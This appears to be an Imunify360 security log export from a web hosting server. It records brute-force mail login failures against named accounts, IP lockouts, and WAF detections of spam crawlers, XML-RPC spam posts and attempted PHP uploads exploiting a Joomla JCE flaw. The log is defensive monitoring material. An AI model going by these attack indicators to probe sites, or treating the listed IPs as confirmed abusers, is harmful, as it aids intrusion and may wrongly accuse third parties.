plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.194.5.183
country_id: 2077456
description:
Jul 21 20:39:20 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.194.5.183 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.194.5.183
country_id: 2077456
description:
2026-07-21 20:39:22 dovecot_login authenticator failed for H=([142.54.225.52]) [203.194.5.183]:36055: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 216.45.75.104
country_id: 6252001
description:
Jul 21 20:39:33 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 216.45.75.104 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 216.45.75.104
country_id: 6252001
description:
2026-07-21 20:39:35 dovecot_login authenticator failed for H=(mail.mnr.gov.mw) [216.45.75.104]:49979: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.192.30.131
country_id: 1643084
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/f61546221 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 43.224.248.40
country_id: 1668284
description:
Jul 21 20:57:47 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 43.224.248.40 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 43.224.248.40
country_id: 1668284
description:
2026-07-21 20:57:49 dovecot_plain authenticator failed for H=(dratogeang) [43.224.248.40]:48326: 535 Incorrect authentication data (set_id=jijo@ddgalaxy.in)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 31.223.75.172
country_id: 298795
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"https://unblocked-games-76-77.s3.amazonaws.com/index.html\">unblocked games</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 72.222.211.226
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/24392545 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 106.0.165.219
country_id: 1605651
description:
Jul 21 21:04:27 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 106.0.165.219 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 106.0.165.219
country_id: 1605651
description:
2026-07-21 21:04:29 dovecot_login authenticator failed for H=([122.185.68.89]) [106.0.165.219]:53356: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.164.148.87
country_id: 1512440
description:
Jul 21 21:04:39 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.164.148.87 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.164.148.87
country_id: 1512440
description:
2026-07-21 21:04:41 dovecot_login authenticator failed for H=([221.179.238.225]) [62.164.148.87]:50718: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 72.215.46.109
country_id: 6252001
description:
2026-07-21 21:09:55 dovecot_login authenticator failed for H=wsip-72-215-46-109.pn.at.cox.net ([68.71.254.3]) [72.215.46.109]:57947: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 72.215.46.109
country_id: 6252001
description:
Jul 21 21:09:53 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 72.215.46.109 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.193.168.136
country_id: 1269750
description:
2026-07-21 21:10:09 dovecot_login authenticator failed for H=([179.184.85.167]) [203.193.168.136]:48206: 535 Incorrect authentication data (set_id=rdcentre)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.193.168.136
country_id: 1269750
description:
Jul 21 21:10:07 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.193.168.136 has been locked due to Imunify RBL


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 103.130.18.141
country_id: 1643084
domain: cochinbigbandshow.com
description:
IM360 WAF: Bad file extension||RSV:8.32||T:APACHE||MVN:REQUEST_FILENAME||MV:/some/config/file.ini||User:cochinbigbandsho||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.4.122
country_id: 1668284
description:
2026-07-21 21:12:52 dovecot_login authenticator failed for H=([36.153.164.122]) [101.13.4.122]:55328: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 101.13.4.122
country_id: 1668284
description:
Jul 21 21:12:50 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 101.13.4.122 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.190.136.219
country_id: 1210997
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/63889815 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 65.20.204.88
country_id: 99237
description:
Jul 21 21:15:59 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 65.20.204.88 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.204.88
country_id: 99237
description:
2026-07-21 21:16:01 dovecot_login authenticator failed for H=([61.184.128.210]) [65.20.204.88]:53924: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 171.234.8.175
country_id: 1562822
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"http://wyrdwalkerpress.com/index.php?title=User:RubenMarcello\">\xe2\x80\x9cVi\xe1\xbb\x87n Eakmat\xe2\x80\x9d</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 193.31.200.85
country_id: 1522867
description:
2026-07-21 21:16:32 dovecot_login authenticator failed for H=(91-211-23-39.atstelecom.ru) [193.31.200.85]:43884: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.118.47.8
country_id: 1835841
description:
2026-07-21 21:16:43 dovecot_login authenticator failed for H=(l193151.ppp.asahi-net.or.jp) [111.118.47.8]:37489: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.118.47.8
country_id: 1835841
description:
Jul 21 21:16:41 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.118.47.8 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 197.231.202.201
country_id: 51537
description:
Jul 21 21:18:42 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 197.231.202.201 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.231.202.201
country_id: 51537
description:
2026-07-21 21:18:44 dovecot_login authenticator failed for H=([68.71.251.130]) [197.231.202.201]:35845: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.160.11.40
country_id: 1269750
description:
2026-07-21 21:18:52 dovecot_login authenticator failed for H=(91.159.61.94.rev.vodafone.pt) [122.160.11.40]:43784: 535 Incorrect authentication data (set_id=cil)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 194.103.82.72
country_id: 2661886
description:
Jul 21 21:19:23 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 194.103.82.72 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 194.103.82.72
country_id: 2661886
description:
2026-07-21 21:19:25 dovecot_login authenticator failed for H=194-103-82-72.ip.obe.net ([211.53.58.1]) [194.103.82.72]:40454: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 149.34.191.39
country_id: 2635167
description:
Jul 21 21:19:35 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 149.34.191.39 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 149.34.191.39
country_id: 2635167
description:
2026-07-21 21:19:37 dovecot_login authenticator failed for H=(166.143.48.116.static.netvigator.com) [149.34.191.39]:37444: 535 Incorrect authentication data (set_id=mail)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 182.95.62.22
country_id: 1269750
description:
Jul 21 21:20:09 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 182.95.62.22 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.62.22
country_id: 1269750
description:
2026-07-21 21:20:11 dovecot_plain authenticator failed for H=(pantess) [182.95.62.22]:57262: 535 Incorrect authentication data (set_id=hr@ddgalaxy.in)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 65.184.89.207
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/862336062 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.246.47.169
country_id: 1819730
description:
2026-07-21 21:30:28 dovecot_login authenticator failed for H=169.47.246.220.static.netvigator.com ([181.48.154.156]) [220.246.47.169]:65273: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.130.207.227
country_id: 1282988
description:
Jul 21 21:30:56 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.130.207.227 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.130.207.227
country_id: 1282988
description:
2026-07-21 21:30:58 dovecot_login authenticator failed for H=(77x106x78x215.dynamic.barnaul.ertelecom.ru) [103.130.207.227]:51454: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: modsec
rule: 77469916
abuser: 91.243.116.144
country_id: 298795
domain: alnayza.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:yoru_70ce9327.php||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 37.152.56.151
country_id: 2661886
domain: www.globalgroupoman.com
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/148.0.0.0 Safari/537.36||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 217.60.120.220
country_id: 2661886
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 travel medical insurance (<a href=\"http://www.p-lingua.org/wiki/api.php?action=ehttps://worldaid.eu.org/discussion/profile.php?id=2012148\">http://www.p-lingua.org/</a>) (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.152.57.60
country_id: 2510769
description:
2026-07-21 21:54:58 dovecot_login authenticator failed for H=([190.223.36.108]) [85.152.57.60]:35312: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 14.51.12.142
country_id: 1835841
description:
Jul 21 21:55:21 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 14.51.12.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.51.12.142
country_id: 1835841
description:
2026-07-21 21:55:23 dovecot_login authenticator failed for H=(dynamic-ip-18680230116.cable.net.co) [14.51.12.142]:57072: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 182.2.191.190
country_id: 1643084
domain: stcinemas.co
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:23208.stcinemas.co||ServerName:stcinemas.co||Method:metaWeblog.newPost||BlogID:1||TitleSHA:6e88149ce5dd590d4daef0f6ebe4a7e6f45e10cf||Title:0xe0c2eaba||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 204.157.182.95
country_id: 99237
domain: www.metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.metrodigitals.com/images/2025/08/22/supernova-5-center-1.webp HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77350935
name: IM360 WAF: Dangerous PHP functions in HTTP headers
abuser: 47.82.11.49
country_id: 1880251
domain: www.globalgroupoman.com
description:
IM360 WAF: Dangerous PHP functions in HTTP headers||MVN:REQUEST_HEADERS:referer||MV:https://www.globalgroupoman.com/images/2021/05/22/The Inogen One\xc2\xae G3 System (IS-300)_thumbnail.jpg||RSV:8.32||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.194.5.183
country_id: 2077456
description:
Jul 21 22:11:47 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.194.5.183 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.194.5.183
country_id: 2077456
description:
2026-07-21 22:11:49 dovecot_login authenticator failed for H=(111-70-20-106.emome-ip.hinet.net) [203.194.5.183]:48271: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 112.199.192.139
country_id: 1880251
description:
Jul 21 22:13:31 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 112.199.192.139 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.199.192.139
country_id: 1880251
description:
2026-07-21 22:13:33 dovecot_plain authenticator failed for H=(trituran) [112.199.192.139]:55339: 535 Incorrect authentication data (set_id=admin@ddgalaxy.in)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.247.245.61
country_id: 1835841
description:
2026-07-21 22:15:29 dovecot_login authenticator failed for H=([112.162.71.248]) [1.247.245.61]:49814: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.70.1.128
country_id: 1668284
description:
Jul 21 22:15:43 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.70.1.128 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.1.128
country_id: 1668284
description:
2026-07-21 22:15:45 dovecot_login authenticator failed for H=111-70-1-128.emome-ip.hinet.net ([65.20.149.26]) [111.70.1.128]:43274: 535 Incorrect authentication data (set_id=cil)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.247.245.61
country_id: 1835841
description:
Jul 21 22:15:27 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 1.247.245.61 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.82.109.136
country_id: 660013
description:
2026-07-21 22:18:58 dovecot_login authenticator failed for H=([106.0.165.219]) [45.82.109.136]:54324: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 140.235.135.119
country_id: 6252001
description:
Jul 21 22:18:31 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 140.235.135.119 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 140.235.135.119
country_id: 6252001
description:
2026-07-21 22:18:33 dovecot_login authenticator failed for H=140-235-135-119.clik.zone ([201.218.0.23]) [140.235.135.119]:48275: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 162.212.170.230
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"https://casasquetecuentancosas.com/\">situs judi bola</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.32||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 14.32.231.200
country_id: 1835841
description:
Jul 21 22:28:33 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 14.32.231.200 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.32.231.200
country_id: 1835841
description:
2026-07-21 22:28:35 dovecot_login authenticator failed for H=([5.167.34.106]) [14.32.231.200]:59542: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 144.225.187.57
country_id: 6252001
description:
Jul 21 22:28:52 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 144.225.187.57 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 144.225.187.57
country_id: 6252001
description:
2026-07-21 22:28:54 dovecot_plain authenticator failed for H=(salersess) [144.225.187.57]:40504: 535 Incorrect authentication data (set_id=jijo@ddgalaxy.in)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.229.168
country_id: 1269750
description:
Jul 21 22:28:09 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.229.168 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.229.168
country_id: 1269750
description:
2026-07-21 22:28:11 dovecot_login authenticator failed for H=([213.66.197.199]) [122.187.229.168]:38238: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 107.2.22.2
country_id: 6252001
description:
2026-07-21 22:32:26 dovecot_plain authenticator failed for H=c-107-2-22-2.hsd1.az.comcast.net (coriality) [107.2.22.2]:54740: 535 Incorrect authentication data (set_id=jijo@ddgalaxy.in)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 107.2.22.2
country_id: 6252001
description:
Jul 21 22:32:24 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 107.2.22.2 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 65.20.191.210
country_id: 99237
description:
Jul 21 22:32:27 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 65.20.191.210 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.191.210
country_id: 99237
description:
2026-07-21 22:32:29 dovecot_plain authenticator failed for H=(colly) [65.20.191.210]:38983: 535 Incorrect authentication data (set_id=jijo@ddgalaxy.in)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 202.29.51.12
country_id: 1605651
description:
Jul 21 22:41:27 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 202.29.51.12 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 202.29.51.12
country_id: 1605651
description:
2026-07-21 22:41:29 dovecot_login authenticator failed for H=([179.185.227.77]) [202.29.51.12]:35372: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 79.16.52.109
country_id: 3175395
description:
Jul 21 22:41:37 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 79.16.52.109 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 79.16.52.109
country_id: 3175395
description:
2026-07-21 22:41:39 dovecot_login authenticator failed for H=host-79-16-52-109.retail.telecomitalia.it ([121.66.63.189]) [79.16.52.109]:56316: 535 Incorrect authentication data (set_id=nirmal)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.66.197.199
country_id: 2661886
description:
Jul 21 22:42:24 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.66.197.199 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.66.197.199
country_id: 2661886
description:
2026-07-21 22:42:26 dovecot_login authenticator failed for H=213-66-197-199-no2550.tbcn.telia.com ([46.42.19.159]) [213.66.197.199]:35436: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 82.47.121.131
country_id: 298795
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 <a href=\"https://www.quora.com/profile/James-Harrington-389/Planning-to-start-earning-online-would-appreciate-an-honest-iq-option-review-from-real-users-I-recently-switched-to-a\">\xd8\xa2\xd9\x8a \xd9\x83\xd9\x8a\xd9\x88 \xd8\xa3\xd9\x88\xd8\xa8\xd8\xb4\xd9\x86 \xd9\x85\xd8\xb1\xd8\xa7\xd8\xac\xd8\xb9\xd8\xa7\xd8\xaa</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 217.72.209.193
country_id: 2921044
domain: travelinbh.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:96485.travelinbh.com||ServerName:travelinbh.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:516b1823501b251e70233f5510d8c82936c8692a||Title:0x4d82c6bb||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77469916
abuser: 111.221.44.12
country_id: 1880251
domain: www.globalgroupoman.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:jce1krq9wd8.xml.php||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77469916
abuser: 111.221.44.12
country_id: 1880251
domain: globalgroupoman.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:jcez15f235l.xml.php||RSV:8.32||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.109.13.50
country_id: 1269750
description:
Jul 21 23:12:34 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.109.13.50 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.109.13.50
country_id: 1269750
description:
2026-07-21 23:12:36 dovecot_login authenticator failed for H=([5.11.162.163]) [103.109.13.50]:36112: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 103.130.18.141
country_id: 1643084
domain: alnayza.com
description:
IM360 WAF: Bad file extension||RSV:8.32||T:APACHE||MVN:REQUEST_FILENAME||MV:/some/config/file.ini||User:alnay||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.129.75.178
country_id: 1835841
description:
Jul 21 23:12:56 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 121.129.75.178 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.129.75.178
country_id: 1835841
description:
2026-07-21 23:12:58 dovecot_login authenticator failed for H=(customer104-242.grm.net) [121.129.75.178]:55833: 535 Incorrect authentication data (set_id=khalid)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.92.76.210
country_id: 1694008
description:
2026-07-21 23:13:58 dovecot_login authenticator failed for H=([165.220.169.113]) [119.92.76.210]:60778: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 119.92.76.210
country_id: 1694008
description:
Jul 21 23:13:56 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 119.92.76.210 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 193.180.125.157
country_id: 2661886
description:
Jul 21 23:14:11 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 193.180.125.157 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 193.180.125.157
country_id: 2661886
description:
2026-07-21 23:14:13 dovecot_login authenticator failed for H=ip157.net-193-180-125.koping.net ([49.124.159.193]) [193.180.125.157]:44150: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 188.122.37.97
country_id: 2635167
description:
Jul 21 23:25:35 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 188.122.37.97 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.122.37.97
country_id: 2635167
description:
2026-07-21 23:25:37 dovecot_login authenticator failed for H=(109-69-15-132.puntdacces.coop) [188.122.37.97]:58724: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 154.84.217.86
country_id: 241170
description:
Jul 21 23:28:06 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 154.84.217.86 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.84.217.86
country_id: 241170
description:
2026-07-21 23:28:08 dovecot_login authenticator failed for H=([189.113.185.142]) [154.84.217.86]:53546: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.241.64.237
country_id: 1835841
description:
Jul 21 23:27:17 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 1.241.64.237 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.241.64.237
country_id: 1835841
description:
2026-07-21 23:27:19 dovecot_login authenticator failed for H=([117.244.16.6]) [1.241.64.237]:46246: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 128.134.83.141
country_id: 1835841
description:
Jul 21 23:28:30 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 128.134.83.141 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.134.83.141
country_id: 1835841
description:
2026-07-21 23:28:32 dovecot_login authenticator failed for H=([201.91.153.121]) [128.134.83.141]:58248: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 114.30.223.119
country_id: 1835841
description:
Jul 21 23:30:08 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 114.30.223.119 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.219.228.246
country_id: 1036973
description:
2026-07-21 23:30:30 dovecot_login authenticator failed for H=([14.49.178.90]) [197.219.228.246]:55048: 535 Incorrect authentication data (set_id=mbt)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 114.30.223.119
country_id: 1835841
description:
2026-07-21 23:30:10 dovecot_login authenticator failed for H=([103.55.89.5]) [114.30.223.119]:59700: 535 Incorrect authentication data (set_id=mbt@globalgroupoman.com)


